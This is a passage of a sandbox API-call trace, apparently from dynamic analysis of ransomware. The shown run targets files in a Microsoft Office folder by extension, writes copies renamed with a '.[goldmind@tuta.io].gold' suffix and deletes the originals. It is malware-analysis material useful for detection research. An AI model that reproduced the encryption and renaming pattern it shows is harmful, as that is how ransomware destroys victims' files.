Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.878] lstrlenW (lpString=".dbf") returned 4 [0111.878] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.878] lstrlenW (lpString=".1cd") returned 4 [0111.878] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".jpg") returned 4 [0111.879] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".doc") returned 4 [0111.879] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString=".docx") returned 5 [0111.879] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0111.879] lstrlenW (lpString=".pdf") returned 4 [0111.879] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString=".xls") returned 4 [0111.879] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString=".xlsx") returned 5 [0111.879] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0111.879] lstrlenW (lpString=".ppt") returned 4 [0111.879] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".zip") returned 4 [0111.879] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString=".rar") returned 4 [0111.879] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.879] lstrlenW (lpString=".bz2") returned 4 [0111.879] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.879] lstrlenW (lpString=".7z") returned 3 [0111.879] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".dbf") returned 4 [0111.879] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".1cd") returned 4 [0111.879] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.879] lstrlenW (lpString=".jpg") returned 4 [0111.879] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.880] lstrcmpiW (lpString1=".propdesc", lpString2=".gold") returned 1 [0111.880] lstrlenW (lpString="Custom.propdesc") returned 15 [0111.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.917] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1343) returned 1 [0111.917] CloseHandle (hObject=0x380) returned 1 [0111.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0112.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.040] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.040] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0112.041] GetLastError () returned 0x0 [0112.041] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x53f, lpOverlapped=0x0) returned 1 [0112.053] WriteFile (in: hFile=0x3d4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x540, lpOverlapped=0x0) returned 1 [0112.053] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.053] WriteFile (in: hFile=0x3d4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0112.054] SetEndOfFile (hFile=0x3d4) returned 1 [0112.054] CloseHandle (hObject=0x3d4) returned 1 [0112.054] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.054] SetEndOfFile (hFile=0x3ac) returned 1 [0112.055] CloseHandle (hObject=0x3ac) returned 1 [0112.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 1 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString=".doc") returned 4 [0112.091] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".docx") returned 5 [0112.091] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0112.091] lstrlenW (lpString=".pdf") returned 4 [0112.091] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".xls") returned 4 [0112.091] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".xlsx") returned 5 [0112.091] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0112.091] lstrlenW (lpString=".ppt") returned 4 [0112.091] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString=".zip") returned 4 [0112.091] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".rar") returned 4 [0112.091] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".bz2") returned 4 [0112.091] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString=".7z") returned 3 [0112.091] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString=".dbf") returned 4 [0112.091] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString=".1cd") returned 4 [0112.091] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0112.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.091] lstrlenW (lpString=".jpg") returned 4 [0112.091] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString=".doc") returned 4 [0112.092] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".docx") returned 5 [0112.092] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0112.092] lstrlenW (lpString=".pdf") returned 4 [0112.092] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".xls") returned 4 [0112.092] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".xlsx") returned 5 [0112.092] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0112.092] lstrlenW (lpString=".ppt") returned 4 [0112.092] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString=".zip") returned 4 [0112.092] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".rar") returned 4 [0112.092] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".bz2") returned 4 [0112.092] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString=".7z") returned 3 [0112.092] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString=".dbf") returned 4 [0112.092] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString=".1cd") returned 4 [0112.092] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0112.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0112.092] lstrlenW (lpString=".jpg") returned 4 [0112.092] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0112.092] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0112.092] lstrlenW (lpString="excelcnv.exe") returned 12 [0112.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.105] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=24994656) returned 1 [0112.105] CloseHandle (hObject=0x3e0) returned 1 [0112.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0x20 [0112.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString=".doc") returned 4 [0112.106] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0112.106] lstrlenW (lpString=".docx") returned 5 [0112.106] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0112.106] lstrlenW (lpString=".pdf") returned 4 [0112.106] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0112.106] lstrlenW (lpString=".xls") returned 4 [0112.106] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0112.106] lstrlenW (lpString=".xlsx") returned 5 [0112.106] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0112.106] lstrlenW (lpString=".ppt") returned 4 [0112.106] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString=".zip") returned 4 [0112.106] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0112.106] lstrlenW (lpString=".rar") returned 4 [0112.106] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0112.106] lstrlenW (lpString=".bz2") returned 4 [0112.106] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0112.106] lstrlenW (lpString=".7z") returned 3 [0112.106] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString=".dbf") returned 4 [0112.106] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString=".1cd") returned 4 [0112.106] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0112.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.106] lstrlenW (lpString=".jpg") returned 4 [0112.106] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString=".doc") returned 4 [0112.107] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0112.107] lstrlenW (lpString=".docx") returned 5 [0112.107] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0112.107] lstrlenW (lpString=".pdf") returned 4 [0112.107] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString=".xls") returned 4 [0112.107] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString=".xlsx") returned 5 [0112.107] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0112.107] lstrlenW (lpString=".ppt") returned 4 [0112.107] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString=".zip") returned 4 [0112.107] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString=".rar") returned 4 [0112.107] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0112.107] lstrlenW (lpString=".bz2") returned 4 [0112.107] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0112.107] lstrlenW (lpString=".7z") returned 3 [0112.107] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString=".dbf") returned 4 [0112.107] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString=".1cd") returned 4 [0112.107] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0112.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0112.107] lstrlenW (lpString=".jpg") returned 4 [0112.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0112.107] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0112.107] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0112.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.113] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=48480) returned 1 [0112.113] CloseHandle (hObject=0x3e0) returned 1 [0112.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll")) returned 0x20 [0112.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.113] lstrlenW (lpString=".doc") returned 4 [0112.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.113] lstrlenW (lpString=".docx") returned 5 [0112.113] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0112.113] lstrlenW (lpString=".pdf") returned 4 [0112.113] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.113] lstrlenW (lpString=".xls") returned 4 [0112.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".xlsx") returned 5 [0112.114] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0112.114] lstrlenW (lpString=".ppt") returned 4 [0112.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString=".zip") returned 4 [0112.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".rar") returned 4 [0112.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".bz2") returned 4 [0112.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.114] lstrlenW (lpString=".7z") returned 3 [0112.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString=".dbf") returned 4 [0112.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString=".1cd") returned 4 [0112.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString=".jpg") returned 4 [0112.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.114] lstrlenW (lpString=".doc") returned 4 [0112.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".docx") returned 5 [0112.114] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0112.114] lstrlenW (lpString=".pdf") returned 4 [0112.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".xls") returned 4 [0112.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString=".xlsx") returned 5 [0112.114] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0112.114] lstrlenW (lpString=".ppt") returned 4 [0112.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.115] lstrlenW (lpString=".zip") returned 4 [0112.115] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.115] lstrlenW (lpString=".rar") returned 4 [0112.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.115] lstrlenW (lpString=".bz2") returned 4 [0112.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.115] lstrlenW (lpString=".7z") returned 3 [0112.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.115] lstrlenW (lpString=".dbf") returned 4 [0112.115] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.115] lstrlenW (lpString=".1cd") returned 4 [0112.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0112.115] lstrlenW (lpString=".jpg") returned 4 [0112.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.115] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0112.115] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0112.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.116] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=474960) returned 1 [0112.116] CloseHandle (hObject=0x3e0) returned 1 [0112.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll")) returned 0x20 [0112.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".doc") returned 4 [0112.117] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".docx") returned 5 [0112.117] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0112.117] lstrlenW (lpString=".pdf") returned 4 [0112.117] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".xls") returned 4 [0112.117] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".xlsx") returned 5 [0112.117] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0112.117] lstrlenW (lpString=".ppt") returned 4 [0112.117] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".zip") returned 4 [0112.117] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".rar") returned 4 [0112.117] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".bz2") returned 4 [0112.117] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.117] lstrlenW (lpString=".7z") returned 3 [0112.117] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".dbf") returned 4 [0112.117] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".1cd") returned 4 [0112.117] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".jpg") returned 4 [0112.117] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".doc") returned 4 [0112.117] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".docx") returned 5 [0112.117] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0112.117] lstrlenW (lpString=".pdf") returned 4 [0112.117] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".xls") returned 4 [0112.117] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".xlsx") returned 5 [0112.117] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0112.117] lstrlenW (lpString=".ppt") returned 4 [0112.117] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 